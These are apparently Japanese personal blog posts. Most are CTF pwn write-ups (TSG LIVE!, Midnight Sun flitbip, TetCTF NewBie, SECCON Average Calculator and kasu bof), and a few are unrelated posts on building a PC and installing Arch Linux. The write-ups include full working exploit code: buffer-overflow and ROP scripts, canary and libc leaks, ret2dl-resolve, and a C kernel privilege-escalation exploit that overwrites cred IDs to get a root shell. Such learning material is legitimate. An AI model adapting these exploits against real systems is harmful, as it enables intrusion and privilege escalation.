<TSG LIVE! 8 CTF> 解いてみた

はじめに

最近全然遊べていなかったのですが、今日はちょっと落ち着いたので、リハビリがてらpwnを数問やりました。


今回取り組んだのは、昨日(5月14日)、TSGの五月祭企画の一環として開催されていたTSG LIVE! 8 CTFで出題されたbpxover、bpxor、bpmovです。


問題はこちらにあります。
github.com

bpxover


scanf()で受け取る文字数を制限していないのでbofを利用できます。


その下に何か書いてありますが、これは次の問題でポイントになります。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'chall.live.ctf.tsg.ne.jp'
PORT = 30006
 
binf = ELF(bin_file)
 
def attack(io):
    io.sendline(b'a' * 0x28 + p64(binf.sym.win))
     
def main():
    # io = process(bin_file)
    io = remote(HOST, PORT)
    attack(io)
    # gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

bpxor


ソースコードの20行目から22行目では、変数xの値とrbpの値とのxorを計算し、結果をrbpにセットしています。xの値はscanf()入力で指定できるので、rbpの値も間接的にいじれます。


今回は、bufに十数バイト好きに書き込めるので、main関数の最後のleave命令を利用して、ここら辺にstack pivotします。仕組みは、leave命令がmov rsp, rbp;をしてpop rbpするような命令であることを考えるとわかると思います。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'chall.live.ctf.tsg.ne.jp'
PORT = 30007
 
binf = ELF(bin_file)
 
def attack(io):
    payload = b'32'
    payload += b'a' * 6
    payload += p64(binf.sym.win)
 
    io.sendlineafter(':)', payload)
     
def main():
    # io = process(bin_file)
    io = remote(HOST, PORT)
    attack(io)
    # gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

spmov


この問題は30分くらい考えたのですが解けなかったので、こちらのwriteup*1を参考にしました。


少し詳しく書くと、
stop_a_little()に入る時にrand@gotにリターンアドレスmain+236がセットされる。
stop_a_little()内でrand@pltに移り、その中でrand@gotにセットされているアドレスにジャンプ。
③ その後2回目のread()に入るが、この時第2引数はprintf@gotなので、win()のアドレスを書き込めばOK。
という感じになると思います。


よくできてるなあー(感心)


rspをいろんなとこに動かしてみるもprintf()でセグフォが起きて詰まっていました。ざんねん!

おわりに

寝ます。おやすみなさい!

<Midnight Sun CTF 2018 Finals> flitbip

はじめに

ずっとカーネル問をやりたいと思っていたのですが、なかなかpwnの練習時間がとれず、標準的なユーザーランドの問題すらままならない状態だったので、手を出せていませんでした。


でも人間いつ死んでしまうか分からないので、カーネルpwnにも早めに手を出すことにしました。


ということで、カーネル問の中でもかなり簡単そうだったflitbipという問題を解いてみました。まだあまり理解できていないので記事にはしないつもりだったのですが、他にネタがないので書きます。


問題ファイルなど
github.com


flitbip

準備

問題を解いていくにあたって、①カーネルイメージの展開や、②ファイルシステムの展開・圧縮をするシェルスクリプトを用意しておくと便利です。実際に使ったスクリプトは、参考ページの1に載っているものを少し変えただけなので割愛します。


①の作業はgdbデバッグする時に行います。run.sh-sを追加することで、QEMUは1234番のポートにてgdbからの接続を待機するようになります。そして、gdbの方でカーネルイメージから展開されたvmlinuxを読み込み、target remote localhost:1234と打つと接続できます。


②の作業はデバッグのためにrootでログインする時などに行います。rootでログインするには、(当該環境がSysVinitを使っている場合)/etc/inittabなどを編集する必要があります。今回は/initsetuidgid 1000の部分を、setuidgid 0に書き換えます。


次に、セキュリティ機構をチェックします。run.shを見れば分かるようにkASLRSMEPSMAP及びKPTIは無効なので、これらを特に気にする必要はありません。*1


攻撃(メイン)

下のようにflitbipというシステムコールが追加されており、これに脆弱性があります。

// flitbip.c
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
 
#define MAXFLIT 1
 
#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif
 
long flit_count = 0;
EXPORT_SYMBOL(flit_count);
 
SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }
 
        *addr ^= (1ULL << (bit));
        flit_count++;
 
        return 0;
}


任意のアドレスのビットを反転させることができますが、18行目のチェックにより、この作業は一回までしか行えません。しかし、flit_countは符号付なので、その適当なビットを反転させて値をマイナスにすることができ、これによって回数制限を回避できます。


次に、flitbipの機能を利用してリターンアドレスを書き換えます。今回のようにAAWができるときには、n_tty_opsという関数テーブルを書き換えるといいらしいです。*2n_tty_opsは下のように定義されています。*3


https://elixir.bootlin.com/linux/v4.17/source/drivers/tty/n_tty.c#L2445

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};


今回は、n_tty_readのアドレスを、権限を昇格する関数のアドレスに書き換え、scanf()を呼ぶことでそちらに処理が移るようにしました。


それでは、権限を昇格する方法を考えます。他のWriteupを見るに、task_structの中にあるcredという構造体を書き換えるとよいみたいです。これらは下のように定義されています。


task_struct: https://elixir.bootlin.com/linux/v4.17/source/include/linux/sched.h#L592

struct task_struct {
	           // ...
	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
	           // ...
}


cred: https://elixir.bootlin.com/linux/v4.17/source/include/linux/cred.h#L111

struct cred {
	atomic_t	usage;
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	           // ...
}


3~8行目の諸々のIDを0に書き換えると、rootをとることができます。


その時に実行しているプロセスのtask_structのアドレスは、current_taskというグローバル変数に格納されているらしいです。実際に確認してみます。


current_taskのアドレスは0xffffffff8182e040で、task_struct0xffff88000773a000にあります。


task_structの0x3c0上位のアドレスにcredがあります。

攻撃(その他)

こうして攻撃の方針は大体決まったわけですが、まだ問題が残っています。それは、flitbipシステムコールを利用してからプログラムはカーネルランドで動いているため、シェルを開く処理を実行できないという問題です。


ユーザーランドに戻るためには、sysretq命令やiretq命令を実行する必要があります。今回は後者を使いました。


iretqは、スタック上の値をRIPCSRFLAGSRSPSSに順にセットして元のプログラムに戻る命令です。詳しくは参考ページの7を参照してください。したがって、flitbipシステムコールを実行する前にこれらのレジスタの値を保存しておき、最後にそれらの値をスタック上にpushしていけば適当な状態でiretq命令を実行できます。


ただし、このままではカーネルのスタックをそのまま使い続けることになってしまうので、上の処理を行う前にRSPも適切な値にセットしてやる必要があります。そのためにはswapgs命令を先に実行する必要があるようです。正直これについてはよくわかりませんでしたが、カーネルモードのGSの値とユーザーモードGSの値を切り替える命令で、ユーザーのスタックポインタをロードできるようになるらしいです。


全体の流れをまとめると、下のようになります。


レジスタの値を保存 → flitbipの回数制限を解除 → n_tty_opsを書き換える → scanf()を呼ぶ → n_tty_opsを書き直す → credを書き換える → 最初に保存したレジスタの値をセットしてからiretq命令を実行 → シェルを開く


exploitはこんな感じ(参考ページの1, 3, 4を参考にしました)

// exploit.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
 
unsigned long user_cs, user_ss, user_rflags, user_sp;
 
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}
 
long flitbip(long* addr, long bit)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov rax, 333;"
        "syscall;"
        ".att_syntax;"
    );
}
 
void get_shell(void)
{
    puts("[*] Returned to userland");
    system("/bin/sh");
}
 
unsigned long* current_task = 0xffffffff8182e040;
unsigned long* n_tty_ops  = 0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
 
unsigned long user_rip = (unsigned long)get_shell;
 
void get_root(void)
{
    *(unsigned long*)(n_tty_ops+0x30) = (unsigned long)n_tty_read;
 
    int* cred = *(unsigned long*)(*current_task + 0x3c0);
    for (int i = 1; i < 7; i++)
        cred[i] = 0;
 
    __asm__(
        ".intel_syntax noprefix;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}
 
unsigned long* flip_count = 0xffffffff818f4f78;
 
int main(void)
{
    save_state();
 
    flitbip(flip_count, 63);
    puts("[*] Overwrote flip_count");
 
    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    for (unsigned long i = 0; i < 64; i++)
    {
        if (val & (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30 , i);
    }
    puts("[*] Overwrote n_tty_ops");
 
    char buf[0x200];
 
    // trigger
    scanf("%c", buf);
    puts("[!] Should never be reached");
}

おわりに

この問題はカーネル問のなかではbaby問らしいのですが、普通に難しかったです。Cでエクスプロイトを書いたのは初めてで、結構人のコードに頼ってしまいましたが、いつかは自力で書ききれるようになりたいです。

参考ページ

1. https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
基礎的なkernel exploitの流れが書いてあります。

2.https://github.com/smallkirby/kernelpwn
kernel問の様々な情報が載っています。本問はここから見つけました。

3.https://hama.hatenadiary.jp/entry/2018/12/19/233626
本問のWriteupです。

4.https://smallkirby.hatenablog.com/entry/2021/02/14/142626
本問のWriteupです。

5.https://www.linusakesson.net/programming/tty/
最初の方にN_TTYについての説明があります。

6.https://qiita.com/sxarp/items/aff43dd83b0da69b92ce
システムコールの前後の処理について参考にしました。

7.https://os.phil-opp.com/returning-from-exceptions/
iretq命令についての説明が載っています。

8.https://ja.wikipedia.org/wiki/X64
swapgs命令の部分を参考にしました。

*1:というかこれらの回避方法はまだよく分かっていないので説明できません

*2:N_TTYについては、参考ページの5を参照

*3:カーネルソースコードは問題環境と同じLinux 4.17.0のものを参照しています(以下同様)

最近の出来事②

ディストロの入れ替え

前回の記事で書いたように新調したデスクトップPCにWindowsを入れたので、元々Windowsが入っていたノートPCにはUbuntuを入れました。CTFで使ってきたからか、実家のような安心感がありました!


ですが、謎に重かったり、自分好みのデザインにカスタマイズするのに(能力的に)限界があったりしたため、だんだんとディストロ変えたい欲が高まっていました。


そういう訳で、シンプルでカスタマイズし易い環境を求めて、またテスト勉強からの逃避も兼ねてArch Linuxをインストールしました。


まだあまり使っていないので何とも言えませんが、やっぱり理想の環境を作り易いのはうれしいですね。あと公式Wikiが非常に充実しているのも👍


ちなみにsystemdのログに謎のerrorが出ているのですが、そんなにヤバくなさそうなので放置してます。(おい)

ブログのデザイン

ブログのデザインを変更しました!


これまでは、テーマストアにあったNavyDarkCodeというテーマを使っていました。このテーマはソースコードを載せるのに便利で気に入っていたのですが、やっぱり自分のテーマが欲しかったので作りました。


配色はVSCodeNight Owlをベースにしています。


ただ、正直CSSがよくわかっていないまま作ったので、表示がおかしくなっているかもしれません。もしおかしい所があったらコメントとかで教えてください!

最近の出来事①

はじめに

「最近の出来事」といっても去年の末のことですが、PCパーツを買ってもらって、デスクトップPCを組み立てました。


構成は下のようになりました。


CPU:intel Core i5 11400

CPUクーラー:虎徹 MarkII SCKTT-2000

マザボASUS TUF GAMING H570-PRO

メモリ:crucial CT2K8G4DFRA32A(8GB2枚組)

SSDCFD PG3VNF CSSD-M2B5GPG3VNF

ケース:Thermaltake Versa H26

電源:MWE 450 Bronze-V2 MPE-4501-ACAAB-JP

キーボード:Logicool K295 Silent Wireless Keyboard

マウス:Logicool ERGO M575 Wireless Trackball Mouse

雑感

予算は10万円程度だったので、スペックは控えめにしました。


メモリスロットがめちゃくちゃ固くて、メモリを挿すのに結構苦労しました...


また、適当な電源がなかなか見つからなくて困りました。


ディスプレイは家にあるのを使ってます。


OSは無料だったのでWindowsにしました。


ついこの間までGPUとグラボの違いすら分からないレベルでしたので、今思えばかなりリスキーでしたが、奇跡的にちゃんと動いたのでよかったです!

<TetCTF 2022> NewBie (Pwn)

はじめに


1 月 1 日の 9 時から 2 日間行われていた TetCTF 2022 を覗きました。


出題されていた Pwn 5 題のうち、NewBie が解けそうだったのでやってみましたが、途中で諦めてしまいました。


でも、昨日こちらの Writeup *1を参考にしながら解いたので、ちょっとだけ説明を載せておきます。

NewBie ( PWNABLE / 100 pt )


問題バイナリと libc が配布されました。

$ checksec chall
[*] '/home/hasuke/tet/newbie/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'


実行すると入力を受け付けてくれて、まずここで BOF を起こせますが、SSP と PIE が有効なので、canary や libc のベースアドレスを求める必要があります(今回はバイナリのベースアドレスを求めなくても解けます)。

$ ./chall
SECRET KEY GENERATOR
> a
Incorrect Syntax
> id 1
> create
Your key: joahydV23D62xJxSmpr9INT1mbovjEJG
> quit
$


上のように、id を指定して create と入力すると、何やら key が返されます。


これは、id によって指定された、スタック上の特定の 2 バイトの値を seed 値として下のような仕組みで生成されたものです。

srand(value);
for (i = 0; i < 0x20; i = i + 1) {
    random = rand();
    key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[random % 0x3e];
}
printf("Your key: %s\n", key);


したがって、リークしたいアドレスに対応する id を指定して、生成された key から元の値を推測できます(必要な id を調べるのは簡単なので、説明は省略します)。


key の生成の再現には、ctypes というライブラリを使うのが簡単みたいです。


exploit は下のようになります(0x0000 と 0x0001 とに対応する key がなぜか被ってしまったため調整してあります。ミスを見つけたら教えてください。)。

#!/usr/bin/env python3
from pwn import *
 
import ctypes
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = '18.191.117.63'
PORT = 31337
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
keys = {} 
 
### バイナリの動きを再現して、keyの辞書を作る ###
def prepare():
    loaded_lib = ctypes.cdll.LoadLibrary('./libc.so.6')
    for i in range(0x10000):
        loaded_lib.srand(i)
        key = ''
        for j in range(0x20):
            key += chars[loaded_lib.rand() % 0x3e]
        if i == 1:
            continue
        keys[key] = i
 
def leak(io, offset):
    io.sendlineafter('>', 'id ' + str(offset))
    io.sendlineafter('>', 'create')
    io.recvuntil('key: ')
    key = io.recv(32).decode()
    return keys[key]
 
def attack(io, **kwargs):
    base_off = 73
    canary_off = 49
    onegads = [0x4f3d5, 0x4f432, 0x10a41c]
 
    ### libcのベースアドレスを計算 ###
    leaked_addr = 0 # __libc_start_main + 231
    for i in range(4):
        leaked_addr += leak(io, base_off + i) << (16 * i)
    libc.address = leaked_addr  - 231 - libc.sym.__libc_start_main
    info('libc_base : 0x{:08x}'.format(libc.address))
 
    ### canaryをleak ###
    canary = 0
    for i in range(4):
        canary += leak(io, canary_off + i) << (16 * i)
    info('canary : 0x{:08x}'.format(canary))
 
    ### 仕上げ ###
    addr_onegad = libc.address + onegads[0]
    payload = b'a' * 88
    payload += p64(canary)
    payload += p64(0xdeadbeef)
    payload += p64(addr_onegad)
    io.sendlineafter('>', payload)
    io.sendlineafter('>', 'quit')
     
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    prepare()
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

おわりに


問題における乱数の生成を再現しようとする際に、c のコードを書いてその出力結果を利用する方法しか知らず、実装が面倒くさくなって諦めてしまいました😢

libc をロードするという手段を知ることができてよかったです。

TSG LIVE! 7 ライブCTF の振り返り

この記事は、TSG Advent Calendar 2021 の 22 日目のエントリです。

前回は platypus さんの「音楽ゲーム「BMS」の新しい実力推定手法の考案」でした。クオリティが高くてビックリしました😲

はじめに


11 月 22 日(月)、駒場祭企画として TSG LIVE! 7 が開催されました。その中のライブ CTF という企画に Red チームとして参加したので、取り組んだ問題の説明や感想を書こうと思います。


9 月頃にあったイワシイラ*1さん主催の Pwn 初心者分科会に参加しており、( mikanami*2 さんと一緒に)そのつてで参戦することになりました。


分科会が終わった後は CTF をサボっててヤバかったので、1 ヶ月くらい前から pwnable.xyzpicoCTFskbctf の問題をちょっとずつ解いて練習してました。


問題ファイルや公式 Writeup↓
github.com

PWELCOME (Pwn / 200 pt)

説明

$ checksec chall
[*] '/home/vagrant/Live/pwelcome/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


win()を呼べば、シェルが開けます。

名前の長さがここでチェックされます。

if (size + 8 > BUFSIZE) {
        puts("too long. sorry");
        return 0;
    }


BUFSIZE > 0 のチェックがないので、-1 を入力することで BOF を起こせます。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = ''
#PORT =
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    io.sendlineafter('>', '-1')
    io.sendlineafter('>', b'a' * 0x28 + p64(binf.sym.win))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

感想


めっっっっっっっっっっちゃ緊張した!!!!!


焦りすぎて tar & gzip のファイルを unzip で解凍しようとしてました。(は)


でも早めに解けてよかったです。

BF Sandbox (Pwn / 400 pt)


こちらは時間内に解けなかったのですが、競技終了後に公式 Writeup(リンクは上にあるよ)や pwnyaa さんの Writeup*3 を参考にして解いたので、説明を記しておきます。

説明

$ checksec chall
[*] '/home/vagrant/Live/bf/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


Brainfuckインタプリタらしい。この問題でもwin()を呼べばおわりです。


bf では、データポインタ(カーソル)の値や、それが指す値を増減させたり、入出力したりすることができます。


この問題では、カーソルは、calloc()で確保されたチャンクmemの範囲内を動くと想定されています。ですが、実際にその範囲にあるかどうかのチェックはされてないので、カーソルがチャンクからはみ出してもメモリの値をいじれます。


gdbmemの近くを探ってみます。

// main() 内
inst_handlers = calloc(sizeof(void*), 256);
mem = calloc(sizeof(char), NMEM);
code = calloc(sizeof(char), NCODE);
table = calloc(sizeof(int), NCODE);

 

gdb-peda$ x/4g 0x555555558020
0x555555558020 <mem>:   0x0000555555559ab0      0x000055555555bad0
0x555555558030 <inst_handlers>: 0x00005555555592a0      0x000055555555aac0
gdb-peda$ x/4g 0x555555558028
0x555555558028 <table>: 0x000055555555bad0      0x00005555555592a0
0x555555558038 <code>:  0x000055555555aac0      0x0000000000000000


inst_handlersmemのすぐ下位にあります。これはinit_table()で作られた関数テーブルで、interp()で下のように使われます。

void interp() {
    int ip = 0;
    int head = 0;
    while (ip < len) {
        inst_handlers[code[ip]](&ip, &head);
    }
}


inst_handlersに格納されている関数のアドレスを書き換えるのが簡単&有力っぽいです(PIE ですが、オフセットからアドレスの差を計算し、その分だけ加減するので問題ありません)。


' [ ' と ' ] ' をセットにしないと parse する段階で exit してしまうことに注意。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = ''
#PORT =
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    mem_top = 0x555555559ab0
    addr_handler = 0x5555555592a0 + ord('[') * 8  # inst_handlers['[']
    diff = mem_top - addr_handler
    exploit = '<' * diff
    exploit += '-' * 33
    exploit += '[]'
    io.sendline(exploit)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

感想


競技中は、スタック上の saved rip を書き換えることばっか考えてました...

競技終了後のインタビューで Brainfuck がどうのこうのと言い訳してましたがそういう問題じゃなかったですね(反省)

ソースコードをしっかり読めば何とかできそうな問題だっただけにもうちょっと頑張りたかったです😭

esolang のインタプリタという面白い設定であるうえに短い exploit で済む、ライブ CTF にぴったりな問題だったと思います。

おわりに


とても緊張しましたが、思ってたよりゆるい雰囲気で楽しかったです。いい経験になりました。

次回の TSG LIVE ! はハイブリッド(オンライン&オフライン)でやるのかな?だとしたら楽しみですね。


明日はふぁぼんさんの「ライブコードゴルフ大会開催記」です。ライブコードゴルフでも esolang が何個か登場しており、観ていて面白かったです。
 

*1:今回のライブ CTF の責任者をされてた(感謝)

*2:rev 問の first blood をキメてた人(すごい)

*3:https://ptr-yudai.hatenablog.com/entry/2021/11/22/214729#pwn-BF-sandbox

<SECCON CTF 2021> Writeup

はじめに


12 月 11 日(土)14 : 00 から 24 時間行われていた SECCON CTF 2021 にチーム TSG で参加しました。


僕は Average Calculator を解いて、129 pt だけ入れられました。また、点は入りませんでしたが kasu bof も解いたので、その解答も載せておきます。

Average Calculator (Pwn)


ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;
 
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
 
    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }
 
    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}
$ checksec chall
[*] '/home/vagrant/SECCON/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RUNPATH:  b'.'


n < 17 のチェックがされていませんが、普通に入れても A[17] 以降が入力できません。

$ ./chall
n: 20
A[0]: 1
A[1]: 1
(snip . . .)
A[14]: 1
A[15]: 1
A[16]: 1
Average = 1


ループ処理の部分がこんな感じ。

0x00000000004012b5 <+319>:   add    QWORD PTR [rbp-0x8],0x1
0x00000000004012ba <+324>:   mov    rax,QWORD PTR [rbp-0x20]
0x00000000004012be <+328>:   cmp    QWORD PTR [rbp-0x8],rax
0x00000000004012c2 <+332>:   jl     0x40122a <main+180>


RBP - 0x20、RBP - 0x8 にそれぞれ n、i の値が入っていて、さらにそれぞれ A[16]、A[19] に対応するので、そこに入れる値を調整して、A[17] 以降も弾かれないようにします。


これでリターンアドレスを書き換えられますが、A [ i ] < 0x75bcd15 の制約があるので、配列 A に system( ) や one gadget のアドレスを入力できません。


そこで、scanf()を呼んで、直接printf()の GOT アドレスを書き換えます。


solve.py

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'average.quals.seccon.jp'
PORT = 1234
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
def send_values(io, n):
    for i in range(20):
        io.sendlineafter(':', str(n))
 
    io.sendlineafter(':', '19')
    io.sendlineafter(':', '20')
 
def attack(io, **kwargs):
    pop_rdi = 0x4013a3
    pop_rsi_r15 = 0x4013a1
    addr_ret = 0x4013c4
    addr_ll = 0x402008
 
    send_values(io, 25)
    io.sendlineafter(':', str(pop_rdi))
    io.sendlineafter(':', str(binf.got.puts))
    io.sendlineafter(':', str(binf.plt.puts))
    io.sendlineafter(':', str(binf.sym._start))
 
    io.recvline()
    leak = unpack(io.recv(6), 'all')
    libc.address = leak - libc.sym.puts
    info('libc_base = 0x{:08x}'.format(libc.address))
 
    onegad = [0xdf54c, 0xdf54f, 0xdf552]
    addr_onegad = libc.address + onegad[1]
 
    send_values(io, 29)
    io.sendlineafter(':', str(pop_rdi))
    io.sendlineafter(':', str(addr_ll))
    io.sendlineafter(':', str(pop_rsi_r15))
    io.sendlineafter(':', str(binf.got.printf))
    io.sendlineafter(':', str(0))
    io.sendlineafter(':', str(binf.plt.__isoc99_scanf))
    io.sendlineafter(':', str(addr_ret))
    io.sendlineafter(':', str(binf.plt.printf))
 
    io.recvline()
    io.sendline(str(addr_onegad))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main() 

kasu bof (Pwn)


ソースコード

// main.c
#include <stdio.h>
 
int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}


問題文によると、return-to-dl-resolve というテクニックを使うらしいです。ももいろテクノロジー*1、こちらのページ*2、こちらのスライド*3を参考にしました。

答えだけ載せます。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'i386')
HOST = 'hiyoko.quals.seccon.jp'
PORT = 9001
  
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    addr_base_stage = binf.bss() + 0x800
    addr_rel = addr_base_stage + 0x14
    addr_sym = addr_rel + 8
 
    addr_plt = 0x8049030
    addr_relplt = 0x80482d8
    addr_dynsym = 0x804820c
    addr_dynstr = 0x804825c
 
    rel_offset = addr_rel - addr_relplt
    align = 0x10 - ((addr_sym-addr_dynsym) % 0x10)
    addr_sym += align
    r_info = (((addr_sym - addr_dynsym) // 0x10) << 8) | 7
    addr_symstr = addr_sym + 0x10
    st_name = addr_symstr - addr_dynstr
    addr_arg = addr_symstr + 7
 
    base_stage = b'a' * 4
    base_stage += p32(addr_plt)
    base_stage += p32(rel_offset)
    base_stage += b'a' * 4
    base_stage += p32(addr_arg)
 
    rel = p32(binf.got.gets)
    rel += p32(r_info)
    rel += b'a' * align
 
    sym = p32(st_name)
    sym += p32(0)
    sym += p32(0)
    sym += p32(0x12)
 
    rop = ROP(binf)
    rop.gets(addr_base_stage)
    rop.gets(addr_rel)
    rop.gets(addr_sym)
    rop.gets(addr_symstr)
    rop.gets(addr_arg)
    rop.raw(rop.ebp)
    rop.raw(addr_base_stage)
    rop.raw(rop.leave)
 
    exploit = b'a' * 0x88 + rop.chain()
 
    io.sendline(exploit)
    io.sendline(base_stage)
    io.sendline(rel)
    io.sendline(sym)
    io.sendline(b'system\x00')
    io.sendline(b'/bin/sh\x00')
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

おわりに


チーム戦の雰囲気を知ることができてよかったです。

あと CTF 可視化エンジンの AMATERAS千がすごかったです(小並)。